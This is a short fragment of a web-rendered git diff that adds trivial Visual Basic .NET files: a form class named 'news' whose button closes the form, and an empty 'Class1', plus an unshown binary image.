||||
</root>
|
||||
@@ -0,0 +1,10 @@
|
||||
Public Class news
|
||||
|
||||
Private Sub VTheme1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles VTheme1.Click
|
||||
|
||||
End Sub
|
||||
|
||||
Private Sub VButton1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles VButton1.Click
|
||||
Me.Close()
|
||||
End Sub
|
||||
End Class
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 97 KiB |
@@ -0,0 +1,5 @@
|
||||
Imports Microsoft.VisualBasic
|
||||
|
||||
Public Class Class1
|
||||
|
||||
End Class
|
||||
Reference in New Issue
Block a user